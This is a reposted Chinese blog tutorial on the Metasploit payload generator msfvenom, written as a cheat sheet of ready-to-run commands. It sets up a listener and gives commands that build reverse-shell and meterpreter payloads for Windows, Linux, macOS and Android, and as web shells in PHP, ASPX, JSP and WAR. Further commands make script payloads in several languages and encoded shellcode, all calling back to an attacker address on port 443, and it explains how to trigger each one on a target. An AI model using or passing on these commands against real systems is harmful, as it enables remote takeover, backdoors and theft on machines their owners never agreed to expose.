Fidcer'Blog

msfvenom 进阶

字数统计: 1k阅读时长: 4 min
2019/02/21 Share
最近在看msfvenom生成木马感觉这个文章不错就搬过来了,下面有表哥的博客原地址

0x01 msfvenom 常规选项用途:

  1. -l 列出所有可用的payload,编码器,空指令……
  2. -p 指定要使用的msf的payload,也可以使用自定义payload,几乎是支持全平台的
  3. -f 指定payload输出的文件类型,–help-formats,可查看支持的所有输出格式
  4. -e 指定要使用那种编码器
  5. -i 指定编码的次数,如果使用编码器
  6. -b 指定坏字符,比如空字符截断问题,等等……
  7. -x 使用一个自定义可执行程序模板,并将payload嵌入其中
  8. -k 当模板被执行时,payload自动分离并注入到新的进程中,一般和-x选项一并使用
  9. -o 指定创建好的payload的存放位置
    0x02 首先,创建好监听器,等待shell回连,务必注意,创建什么类型的payload就要用什么类型的监听器来接收,必须一一对应,此处就以最普通的tcp监听器为例
    1
    2
    3
    4
    5
    msf > use exploit/multi/handler
    msf > set payload windows/meterpreter/reverse_tcp
    msf > set lport 443
    msf > set lhost 192.168.3.12
    msf > exploit -j

0x03 实例创建各类系统平台下的payload:
windows 平台,普通的exe 直接双击即可触发,会弹回一个常规meterpreter

msfvenom -a x86 –platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.3.12 LPORT=443 -e x86/shikata_ga_nai -b ‘\x00\x0a\xff’ -i 3 -f exe -o x86_shell.exe

powershell,把文件中编码后的powershell payload代码直接抠出来,丢到目标机器的cmd中去执行触发,会弹回一个powershell的shell

msfvenom -a x86 –platform Windows -p windows/powershell_reverse_tcp LHOST=192.168.3.12 LPORT=443 -e cmd/powershell_base64 -i 3 -f raw -o x86_shell.ps1

linux 平台,直接赋予执行权限,执行即可触发,关于如何将payload嵌入deb或者rpm包中,我们后续再单独说

msfvenom -a x86 –platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.3.12 LPORT=443 -f elf -o x86_shell

mac 平台,暂没实际测试

msfvenom -a x86 –platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.3.12 LPORT=443 -f macho -o x86_shell.macho

android平台 注意这里生成的apk是不能直接被装到手机上的,还需要你自己给apk签个名才能装,装完以后点击打开即可触发,关于如何向正常的app中嵌入msf的payload后期也会单独再说明

msfvenom -a x86 –platform Android -p android/meterpreter/reverse_tcp LHOST=192.168.3.12 LPORT=443 -f apk -o x86_shell.apk

基于各类web脚本,对于此类的web脚本触发执行方法非常简单,直接在url中访问该脚本即可
php 脚本

msfvenom –platform PHP -p php/meterpreter/reverse_tcp LHOST=192.168.3.12 LPORT=443 -f raw -o x86_shell.php

aspx 脚本

msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.3.12 LPORT=443 -f aspx -o x86_shell.aspx

jsp 脚本

msfvenom –platform java -p java/jsp_shell_reverse_tcp LHOST=192.168.3.12 LPORT=443 -f raw -o x86_shell.jsp

war包,找个能部署war包的地方,如各类java控制台,部署一下即可执行

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.3.12 LPORT=443 -f raw -o x86_shell.war

基于其它各类脚本的payload,说几个实战中可能会碰到的语言环境

nodejs

msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.3.12 LPORT=443 -f raw -o x86_shell.js

python

msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.3.12 LPORT=443 -f raw -o x86_shell.py

perl

msfvenom -p cmd/unix/reverse_perl LHOST=192.168.3.12 LPORT=443 -f raw -o x86_shell.pl

ruby

msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.3.12 LPORT=443 -f raw -o x86_shell.rb

lua

msfvenom -p cmd/unix/reverse_lua LHOST=192.168.3.12 LPORT=443 -f raw -o x86_shell.lua

0x04 利用wireshark观察不同协议下的payload的运作细节:

bind类型

1
2
3
windows/meterpreter/bind_tcp
windows/meterpreter/bind_tcp_rc4
windows/meterpreter/bind_hidden_tcp

reverse类型

1
2
3
4
5
6
windows/meterpreter/reverse_tcp
windows/meterpreter/reverse_tcp_dns
windows/meterpreter/reverse_tcp_rc4
windows/meterpreter/reverse_tcp_rc4_dns
windows/meterpreter/reverse_http
windows/meterpreter/reverse_https

32位

1
windows/meterpreter/bind_tcp

64位

1
windows/x64/meterpreter/reverse_tcp

0x05 生成不同平台下的shellcode
win平台shellcode

msfvenom -a x86 –platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.3.12 LPORT=443 -f c

linux平台shellcode

msfvenom -a x86 –platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.3.12 LPORT=443 -f c

mac平台shellcode

msfvenom -a x86 –platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.3.12 LPORT=443 -f c

0x06 将普通类型的shell升级为meterpreter:

post/multi/manage/shell_to_meterpreter

原文章地址:https://klionsec.github.io/2017/03/08/msfvenom-advanced/

CATALOG